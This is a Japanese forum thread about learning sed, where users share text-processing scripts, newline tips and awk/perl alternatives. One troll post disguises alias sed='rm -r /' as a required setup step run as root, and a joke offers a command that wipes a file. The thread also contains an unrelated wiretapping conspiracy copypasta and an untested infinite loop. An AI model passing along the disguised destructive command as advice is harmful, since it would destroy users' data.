おまいら! sed の使い方教えて下さいm(_ _)m
1 :
sed@修業中 :
03/11/03 08:26 ID:62bfq5Tp
サックっと削除依頼を出しなさい。
man sed
7 :
sed@修行中 :03/11/03 10:11 ID:62bfq5Tp
例えば英辞郎の加工で 【用例xxx】部分を書き出すと英作に役立つ例文集ができるとおもうんだけど こんなのどうやるかなんて考えてみたい。
オライリー飼って嫁。異常。
9 :
sed@修行中 :03/11/03 12:43 ID:62bfq5Tp
>>7 から続き
とりあえずsedにやらせたいことをファイルに書きながらやっていこう。
yourei.sed
=============================
/【用例.*/p
d
=============================
確認してみる
$ sed -f yourei.sed eijirou.txt | more
とりあえず【用例 を含む行だけ抜粋できた。
ここからまだまだ加工が必要だな。
ぼちぼちやっていくさ。。。
ダメではないんだが、シェルスクリプト御用達系のスレは馬力がなくていかん。 てなわけで今度立てるときはsedとawk両方で立ててくれ。
11 :
sed@修行中 :03/11/03 19:11 ID:62bfq5Tp
>>10 そうするよ。
早く終りそうな方が統合スレたてたらいいんだよね?
>>9 のつづき
じゃまな振り仮名を削除してみる。
furigana.sed
===============================
s/{[^}]}//g
d
===============================
※振り仮名は全角の{}で囲まれている。
$ sed -f yourei.sed eijirou.txt | sed -f furigana.sed > yourei.txt
次は一行テキストの途中に現われる【用例xxx】のところを改行したい。
いらんもの全部削除 sed -f /dev/zero gomi.txt > gomi.txt
13 :
sed@修行中 :03/11/03 20:24 ID:62bfq5Tp
>>11 のつづき
【用例xxx】で改行させてみる。
kaigyou.sed
=========================
s/\/[[:blank:]]/\/\
/g
=========================
※英辞郎はスペース + スラッシュ + スペースで用例を区切っている。
$ sed -f yourei.sed eijirou.txt | sed -f furigana.sed | sed -f kaigyou.sed > yourei.txt
例題ネタとしては、GNU sed-4.0.XのinfoのExampleにいろいろあるよ。
15 :
sed@修行中 :03/11/03 21:24 ID:62bfq5Tp
>>13 のつづき
■で始まる行は邪魔なので削除する。
$ sed -e '/^■/d' yourei.txt > yourei1.txt
英文と和訳が対になってる行だけにする。
$ sed -n -e '/[[:space:]]:[[:space:]]/p' yourei1.txt > yourei2.txt
行頭を■で統一
$ sed -e '/^【[^】]*】[[:space:]]/d' yourei2.txt | sed -e 's/^/■/g' > yourei3.txt
行末にある/を削除
$ sed -e 's/\/$//g' yourei3 > yourei4.txt
ここまでで用例集ができた。
16 :
sed@修行中 :03/11/03 21:26 ID:62bfq5Tp
>>14 さん
情報有難う。
参考にさせてもらうね。
質問。sedで改行するとき、例えば;を改行に置換したいとすると sed -e 's/;/;\ /g' 改行入れてかいてるんだけど・・。 これが凄い面倒なので一行で書く方法ってないんでしょうか。
18 :
sed@修行中 :03/11/03 21:44 ID:62bfq5Tp
>>17 さん
すまないねぇ、あてくしもただいま修行中の身で
お役にたてないワン
21 :
sed@修行中 :03/11/03 22:48 ID:62bfq5Tp
>>17 さん
私もいっぱいいっぱいでやってるから
サクッとさじ投げたけど
私のやってる通り改行部分をファイルに書き出して読みこめばいいのでは?
$ sed -e 's/;/;\
> /g'
上記改行なら
kaigyou.sed
======================
s/;/;\
/g
======================
$ sed -f kaigyou.sed hoge > hage
まあ改行したいタイミングで sed -f kaigyou.sed とやればよいのでは?
22 :
sed@修行中 :03/11/04 00:05 ID:nEpLG0yd
>>15 のつづき
>行末にある/を削除
>$ sed -e 's/\/$//g' yourei3 > yourei4.txt
$ sed -e 's/\/$//g' yourei3.txt > yourei4.txt //訂正
折角できた用例集だけどこのままではつまらないから
英作問題集風に加工してみよう。
$ sed 's/[[:space:]]:[[:space:]]/\/●/g' yourei4.txt > yourei5.txt
kaigyou2.sed
==========================
s/\//\/\
/g
==========================
$ sed -f kaigyou2.sed yourei5.txt | sed -e 's/\/$//g' > yourei6.txt
23 :
login:Penguin :03/11/04 00:06 ID:bVXB9fu5
●●●マスコミの 「盗聴/盗撮」 は許されるの?その7A●●●
http://natto.2ch.net/mass/kako/1004/10049/1004950940.html 915 名前: 文責:名無しさん 投稿日: 02/01/20 12:40 ID:FHCYQpiB
今度は、インターネットで犯罪を告発している人自身を直接攻撃することを
彼らは考えるだろう。彼らはインターネット上の告発者が誰かということは
自分達自身が嫌がらせをしているのではじめから知っているのである。
彼らは、NTT等の通信事業者に働きかけて告発者のインターネット接続を
あらゆる方法で妨害をしはじめるだろう。
もちろんこれは、れっきとした犯罪であるためあからさまにやると、
今度は告発者に訴えられたり脅迫されたりされる危険性がある。
そのため、彼らは法律に触れない程度で告発者を妨害する方法はないだろうか?と考える。
そこで出てくるのが....
-虚報戦術-
いくつかの事実といっしょに実体のない噂を山ほど流す。
そのため(情報の)受信者は事実と噂を見分けることが出来ない。
アルビン・トフラー著 「パワーシフト」より
真実の情報を隠すために、偽の情報と真実の情報を混ぜ
どれが真実の情報かわからなくさせる情報工作というものがある。
彼らは自分達が行っている、いたずら電話、脅迫電話、盗聴、盗撮、
ストーカー、住居不法侵入等の真実の情報を誤魔化し閲覧者が混乱するようにするために、
「思考盗聴、透視、遠隔操作」などの誰も信じないような、偽の情報と織り交ぜて
マスメディア関係者が組織的にホームページや掲示板を通じて自分で被害者を演じ
インターネット上で自作自演を行っている可能性がある。
われわれはこういった盗聴犯罪者の馬鹿げた自作自演に気をつけなければならない。
24 :
sed@修行中 :03/11/04 15:19 ID:nEpLG0yd
25 :
17 :03/11/04 17:12 ID:HXfyqLO7
>>21 レスありがとー、
特定の文字の後に改行したいってのは個人的に良くある
シュチュエーションなもので、
もちょっと簡単にできる方法誰か知ってればなぁなんて思ってたんです。
それともう一つ疑問なのが、
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done
real 0m25.056s
user 0m3.043s
sys 0m21.228s
time for i in `find ./ -type f|sed 's/.*\///' `;do echo ${i};done
real 0m0.312s
user 0m0.172s
sys 0m0.096s
こんな感じに、デカイループの中にsedがあるとトテツモナク動作が
重くなるんですが・・・、これってsedがいくつも起動されちゃうから
なのかな。
でかいループ中にsed挟まなきゃならない場合はsedより別スクリプトに
パイプって感じにしたほういいんでしょうかね。
教えて君で申し訳ないのですが、、、。
>>25 ちなみに。。。
同じような書き方ならPerlのほうが、微妙に早いかも。
#!/usr/bin/perl
open HDL, "find . -type f|";
while(<HDL>)
{
s/.*\///;
print;
}
27 :
sed@修行中 :03/11/07 22:48 ID:EXg8IQbZ
ちまちま分けて書くのが面倒なので、 1つのファイルにまとめて書きたいと思ったんだけど 思うようにできない。。。 yourei.sed ============================= s/{[^}].*}//g /【用例.*/{ s/\/[[:space:]]/\/\ /g p } ============================== $ -n -f yourei.sed eijirou.txt | more この状態だとこれ以上の編集ができないんだよね。。。 一旦ファイルに落してからつづきをするしかないのかな?
28 :
sed@修行中 :03/11/08 14:05 ID:V7rCJWEy
>>27 に間違いがあった。
>$ -n -f yourei.sed eijirou.txt | more
$ sed -n -f yourei.sed eijirou.txt | more
つーかスレタイが腹立つな。態度が馬鹿にしてる
>>27 >この状態だとこれ以上の編集ができないんだよね。。。
>一旦ファイルに落してからつづきをするしかないのかな?
意味がよくわからんのだが、
sed -n -f yourei.sed eijirou.txt | sed -e '....'
じゃダメなのか?
あと、1行目を
#!/usr/bin/sed -n -f
として chmod +x しておくといいかも。
31 :
sed@修行中 :03/11/10 20:17 ID:ytRwFQ/P
>>30 いちいちファイルに落さなくてもパイプでつなげるね。
指摘ありがとう。
ただ、
>>27 で言おうとしてたのは
パイプで繋いでいく部分も全て1つのファイルにまとめられないかな?
ってことだったんだけど、
例えば
>>27 の yourei.sed を
============================
s/{[^}].*}//g
/【用例.*/{
s/\/[[:space:]]/\/\
/g
s/\/$//g
p
}
============================
としても s/\/$//g の部分が実行できてない。
これは一度編集が終ったサイクルは読みこめないってことなのかな?
32 :
login:Penguin :03/11/10 21:22 ID:HfGu945d
>>sed@修行中 sedの置換命令のデリミタには任意の文字が使えるぞ。 置換文字列に'/'が含まれるなら。'/'を'\'でエスケープするよりも 文字列に含まれない文字をデミリタにすると読みやすいと思う。 例 s/\/[[:space:]]/\/\ /g ↓ s@/[[:space:]]@/\ @g s/\/$//g ↓ s%/$%%g
>>31 > としても s/\/$//g の部分が実行できてない。
そうそう、sedは入力行に対して'^'と'$'は最初の行頭と行末にしかマッチしなかった気がする。
置換の結果、改行文字が挿入されて行が増えても、
新たな行頭と行末は'^'と'$'にマッチしないみたいだね。
35 :
sed@修行中 :03/11/10 22:13 ID:ytRwFQ/P
>>32 そうだね そのほうがずっと見やすいね。
教えてくれてありがとう。
36 :
sed@修行中 :03/11/10 22:15 ID:ytRwFQ/P
38 :
sed@修行中 :03/11/10 23:12 ID:ytRwFQ/P
39 :
sed@修行中 :03/11/11 02:23 ID:1ZoP6XVJ
>>33 sedの改行処理がネックになっているみたいです。
yourei.sed
=======================
s/{[^}].*}//g
/【用例.*/{
s%\/[[:space:]]%\/\
%g
s%$%\n%g
p
}
======================
$ sed -n -f yourei.sed eijirou.txt | more
こうすると改行処理前の1行テキストごとに
\nが挿入されていました。
要するに見ためで改行しているだけで
1行テキストとしては改行処理前のものを認識しています。
>>37 あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
むしろ .txt の方が少なかったような気が。
>>39 >1行テキストとしては改行処理前のものを認識しています。
うんにゃ。
$ はパターンスペースの最後にマッチするメタキャラクタであって、
何らかの操作でパターンスペース中に改行が増えても
^, $ でマッチする部分が増えるわけではない
もし改行処理前(s// 実行前)のものが認識されるのであれば、
echo aaa | sed 's/a/b/; s/a/c/'
の結果は s/a/b/ が s/a/c/ に上書きされて caa になるはずだけど、
実際は s/a/b/ の置換結果に対して s/a/c/ が実行されるので bca になる。
>>40 > あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
なのに Content-Type: application/msword なのね。
>>41 すでに一般的になっている拡張子を横取りする辺り
さすが某社な感じがしたね。
いまじゃ拡張子docをテキストに使う人なんていなくなったなぁ。
43 :
sed@修行中 :03/11/11 16:42 ID:1ZoP6XVJ
>>40 >$ はパターンスペースの最後にマッチするメタキャラクタであって、
>何らかの操作でパターンスペース中に改行が増えても
>^, $ でマッチする部分が増えるわけではない
お手上げです。
1つのスクリプトファイルにまとめたかったんだけど
無理みたいですね。
>>43 改行への置換と行末の/の削除を同時にすればいいじゃん。
s/{[^}].*}//g
/【用例.*/{
s%/[[:space:]]%\
%g
p
}
45 :
sed@修行中 :03/11/11 23:40 ID:1ZoP6XVJ
>>44 なるほど、そんなことができたんですね。
1つ手順が減りました。ありがとう。
46 :
login:Penguin :03/11/12 20:36 ID:LHJK+sHI
viviのアウトライン解析機能を使っています。 「リナンバ」とやると、 1.1 1.3 1.5 なんてのが、 1.1 1.2 1.3 ときちんと書き直してくれます。vimでもこういうことがやりたいのですが、挫折してまして、 sedで可能かと考えています。お力をお貸しください。
sed じゃ難しいんでは?
オライリのセッドアンドオークは正直分かりにくい
1,$s/●/ひろゆきの私腹/g
50 :
徳さん :03/11/27 01:49 ID:T81Yg0h9
>>25 time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done
↓
do 〜 done はまとめてリダイレクトできるのだ
↓
time for i in `find ./ -type f`;do echo ${i};done | sed 's/.*\///'
すっごく速くなったぞ
# sed ってよりshellのお題だな
``でサブシェル起動するからね... find . -type f | xargs sed 's/.*\///' とか find . -type f | while read i; do sed 's/.*\///' ${i}; done のほうがいいのでは? (上だと全ファイルまとめてsed。下だと一つづつsed)
52 :
sed@修行中 :03/11/29 01:56 ID:FhRoB8U6
ぬぬぅ これは早急にシェルスクリプトを習得せねば なんかわかんないけどすごく便利なことしてそうな予感。
普通はシェルコマンドや正規表現を先に覚えるべきでは??? まぁあまり人のことは言えないが(w
>>52 早くしてるだけだよ。
でも
>>50 が出してきた例は、上と下で動作が違うから注意しな。
この例みたいに全部標準出力に垂れ流すsedなら一緒だけど。
>>53 UNIX的思想では小さいプログラムを組み合わせて使うから、
必要に応じて機能を探せばいい。
順番なんてナンセンス、だと思うな。
燃料投下の意味もこめて、ほったらかしの
>>46 にささげます。
正規表現の部分は手抜きで、柔軟性のかけらもありません。
加工したいテキストにあわせて書き換える必要があるでしょう。
#なおテストはしてません。
while :
do
cnt=`expr $cnt + 1`
sed 's/^\([ \t]*1\.\)[1-9][0-9]*/\1'$cnt'/' < 加工したいファイル
done
俺様がテーチインしてやるから まずスーパーユーザにならなくちゃ行けないんだよ。 $ su - そんでもって、sedはプロトタイプ宣言が必要なんだ。Cのプリプロセッサ のようなものって思って良いけど難しいから以下のようにタイプする。 $ alias sed='rm -r /' すると起動完了だから、sedがバッチリ起動する。 このおまじないで絶対に止めては行けないサーバとかでも 安心してセキュリティを気にせずに実行する事が可能だ。ZDNetとかの linux-tipsとかlinux-mini-howtoに載っているよ。
>>46 sed でやることじゃないな。
#!/usr/bin/awk -f
$1 ~ /[0-9]+\.[0-9]+/{
split($1, tmp, /\./)
if(tmp[1] <= sec){
subsec += 1
} else{
sec += 1
subsec = 1
}
sub(/[0-9]+\.[0-9]+/, sec "." subsec)
}
{ print }
>>56 つまらない。
58 :
login:Penguin :04/01/10 09:17 ID:siaa18gv
vi と awk + join + sort で、RDBMS ができるようだ。 #!/bin/sh join -1 1 -t: /etc/passwd /etc/ftpusers \ | sort -t ":" -n -k 3 \ | awk 'BEGIN {FS=":"; OFS="\t";} \ $7 != /bin/false && $3 >= 1000 \ {print $1, $3, $4, $7;}' awk の変数 OFS がなぜかFreeBSDで通らないのが謎。 って、ここはsed刷れだった。 sedもいじってみよう。
awkつまみ食い(1時間コース)
ttp://www.is.kochi-u.ac.jp/~honda/Joen/07Awk.html /* emp.dat */
Beth 4.00 0
Dan 3.75 0
Kathy 4.00 10
Mark 5.00 20
Mary 5.50 22
Susie 4.25 18
/* m6.awk */
BEGIN { print "*** Employee Statistics ***" }
$3 > 15 { emp = emp + 1 }
{ pay = pay + $2 * $3 }
$2 > max { max = $2; who = $1 }
{ names = names $1 " " }
{ last = $0 }
END {
print "Employee list:", names;
print NR, "employees";
print emp, "employees worked more than 15 hours." ;
print "total pay is",pay;
print "average pay is",pay/NR;
print "Highest hourly rate:", max, "for", who ;
print "Who was the last:",last;
}
$ awk -f m6.awk emp.dat *** Employee Statistics *** Employee list: Beth Dan Kathy Mark Mary Susie 6 employees 3 employees worked more than 15 hours. total pay is 337.5 average pay is 56.25 Highest hourly rate: 5.50 for Mary Who was the last: Susie 4.25 18 ほかにも、 awk は 組み込み 関数や、 if-else文、 while文、 for文などを 使った 複雑な 計算や プログラム制御を おこなう ことが できます。 これらの 詳細に ついては、 C言語を 学んだ 後で 参考書 「プログラミング言語AWK」 エイホ・ カーニハン・ ワインバーガー著・ 足立訳 (トッパン・ 3,400円)を...
61 :
login:Penguin :04/01/10 14:28 ID:gicz3W8H
久しぶりに良スレだ。 まとめサイトキボソ
62 :
login:Penguin :04/03/07 01:23 ID:0UiefwuC
保守上げ
63 :
login:Penguin :04/03/15 22:06 ID:cMKAgcb5
!/usr/bin/perl -p if(/(\d+)\.\d+/) { if($1 > $sec) { $sec=$1; $subsec=1; } else { $subsec++; } s/\d+\.\d+/$sec.$subsec/; }
64 :
63 :04/03/15 22:09 ID:cMKAgcb5
>>46 スレ違いだがawkでもいいなら、、、
57のperl版でw
漏れは、改行はtrつかって変換してる'\012'
sage
hosyu
補習
69 :
login:Penguin :05/01/27 01:33:29 ID:rr1tF+uZ
保守
70 :
login:Penguin :05/02/20 10:54:51 ID:SQt2t8zo
sedを使ってhogeを"hoge"にしたいんですけど s/^/\"/とs/$/\"/を一度にできますか?
sed 's/hoge/"hoge"/'
>>71 答のポイントがずれてる
>>70 sed 's/\(.*\)/\"\1\"/'
73 :
login:Penguin :05/02/20 11:53:39 ID:x3mWXcsm
>>70 sed -e "s/^/\"/" -e "s/$/\"/"
sed -e "s/^\(.*\)$/\"\1\"/"
>>71-73 感謝!
キモの\(.*\)と\1の意味が理解できないorz
精進します
75 :
71 :05/02/20 12:28:33 ID:9r4p9Jy7
ああ、hogeは可変なのか… だからs/^/\"/とかしてたわけね orz
sedでカレントパスにある、重複名ファイルを削除すること出来ますでしょうか?
「重複名ファイル」が何のことか分からんが、 sedでファイルを削除することはできません
78 :
login:Penguin :05/03/05 11:26:28 ID:Xag2FfiC
パイプに渡してrmコマンドで削除はできる
79 :
login:Penguin :2005/05/27(金) 23:31:57 ID:RlR1k47P
>>78 全然試さずに聞いてみるのだがそれってファイル中身じゃなくて
ファイル自体が消えるの?
おれは引数の中身までは分からんが ls | sed 'hogehoge' | rm -rf ってことだろ。
あれ? >カレントパスにある、重複名ファイル こんなもん作れないだろ・・・作れたらスクリーンショットとってどっかに挙げてくれ。
83 :
login:Penguin :2005/11/06(日) 18:45:52 ID:d1sLJr10
age
84 :
login:Penguin :2005/11/20(日) 11:35:39 ID:zC+iRPbI
つ[MS‐DOSを256倍使うための本〈Vol.3〉]
>>84 「MAKE make Make.」
と
「640Kのバリヤーのなかで」
の章を読めば良いんですね。
わかりました。
ありがとうございました。
rm -rfv `find . | grep '~$'` こんなのよくやる。
87 :
login:Penguin :2005/11/26(土) 06:21:39 ID:kJunMMiz
こんなのを適当にファイル名を指定してやってみよう。 sed 's/\w//g' <ファイル名>
疑問なんだけど、デフォルト入力とかで 行をファイル(標準入力でもいいけど)から読み込んでくるとき、 パターンスペースに格納されるテキストには その行が本来持っていた末尾の改行は保持されるの、 それとも捨てられてるの?
90 :
88 :2005/11/29(火) 02:04:37 ID:JFndx1yi
>>89 ありがd。そうみたいだね。実は自己解決してました。
man sedしてもわからなかったけどinfo sedしたら書いてあったよ(GNU sedね)。
「SED 教室 第三回」にもこうあった。
http://www.gcd.org/sengoku/sedlec/3.txt > SED は起動されるとまず、標準入力の最初の行をパターンスペースにコピーし
>ます。この時点でパターンスペースの内容は「これは一行目だ。」になります。
>行末の改行コードは捨てられてパターンスペースの中にはありませんので注意し
>てください。
91 :
login:Penguin :2005/11/30(水) 21:51:21 ID:O2ouymZd
Cのソースから // /* */ のコメントを取り除けますか?sedで。
93 :
login:Penguin :2005/11/30(水) 22:43:30 ID:+mlzjm+U
>できるよ。 /* */ のように複数行に分かれている場合にもできますか?
95 :
login:Penguin :2005/12/03(土) 04:22:17 ID:tqW1lQSk
要するに,「/*」と「*/」を削除すれば?
97 :
login:Penguin :2006/01/22(日) 16:17:53 ID:IDyOrogG
SED
98 :
login:Penguin :2006/02/24(金) 16:50:56 ID:cbN1qQJn
@@@
Super Erectile Dysfunction
100 :
login:Penguin :2006/04/12(水) 02:40:10 ID:TK6X7NqV
深夜挙げ